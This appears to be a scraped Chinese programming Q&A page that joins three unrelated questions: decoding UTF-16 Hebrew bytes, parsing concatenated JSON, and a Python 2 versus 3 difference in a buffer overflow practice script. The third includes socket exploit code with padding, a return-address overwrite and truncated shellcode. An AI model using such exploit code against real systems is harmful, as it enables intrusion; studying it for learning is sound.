我正在尝试获取响应urllib并将其解码为可读格式.该文本是希伯来语,也包含像{和的字符/
首页编码是:
# -*- coding: utf-8 -*-
Run Code Online (Sandbox Code Playgroud)
原始字符串是:
b'\xff\xfe{\x00 \x00\r\x00\n\x00"\x00i\x00d\x00"\x00 \x00:\x00 \x00"\x001\x004\x000\x004\x008\x003\x000\x000\x006\x004\x006\x009\x006\x00"\x00,\x00\r\x00\n\x00"\x00t\x00i\x00t\x00l\x00e\x00"\x00 \x00:\x00 \x00"\x00\xe4\x05\xd9\x05\xe7\x05\xd5\x05\xd3\x05 \x00\xd4\x05\xe2\x05\xd5\x05\xe8\x05\xe3\x05 \x00\xd4\x05\xea\x05\xe8\x05\xe2\x05\xd4\x05 \x00\xd1\x05\xde\x05\xe8\x05\xd7\x05\xd1\x05 \x00"\x00,\x00\r\x00\n\x00"\x00d\x00a\x00t\x00a\x00"\x00 \x00:\x00 \x00[\x00]\x00\r\x00\n\x00}\x00\r\x00\n\x00\r\x00\n\x00'
Run Code Online (Sandbox Code Playgroud)
现在我正在尝试使用以下方法解码它:
data = data.decode()
Run Code Online (Sandbox Code Playgroud)
我收到以下错误:
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte
Run Code Online (Sandbox Code Playgroud) 我有加载JSON的问题.
response = conn.getresponse()
data = response.read().decode('utf-8')
print ("raw data >> ", data)
data1 = json.loads(data)
print (data1)
Run Code Online (Sandbox Code Playgroud)
给我一个错误:
raw data >> {"Len":"0000000000000376"}{"PipeType":2,"Content":{"ActionType":1,"Data":{"UserID":12,"RoomID":1,"UserData":{"NickName":"Koko","MoreAboutMe":null,"Age":21,"Man":false,"Area":9,"HaveCam":false,"isOldPoll":false,"LoginTime":635292689335460656,"RoomEnter":635292689335460656,"FacebookId":null,"Email":null,"FirstName":null,"LastName":null,"BirthDate":null,"FacebookLink":null,"Rank":-1}}}}{"Len":"0000000000000159"}{"PipeType":2,"Content":{"ActionType":3,"Data":{"Message":"no matter","ColorID":0,"UserID":13,"UserNick":"Jovani","SentDate":null,"Rank":null}}}
Exception in Tkinter callback
...
ValueError: Extra data: line 1 column 26 - line 1 column 587 (char 26 - 587)
Run Code Online (Sandbox Code Playgroud)
有任何想法吗?
谢谢
我正在练习一些缓冲区溢出技术,但是在发送已存储的数据时遇到了一个奇怪的问题。
我有这两个几乎相同的代码,除了在Python3代码中,我更改了sock.send以编码字符串(在Python2中不需要)
Python2代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer)
sock.close
Run Code Online (Sandbox Code Playgroud)
Python 3代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer.encode())
sock.close
Run Code Online (Sandbox Code Playgroud)
我发送缓冲区,然后使用抗扰度调试器检查EIP / SEP值,我发现在Python2代码和Python3代码之间得到了不同的值。那怎么可能?
两者的缓冲区相同,因此调试器中的EIP / SEP应该相同。
换句话说,从服务器的角度来看(获取套接字数据)看起来它获取了不同的数据结构或类似的东西。
有任何想法吗?
谢谢。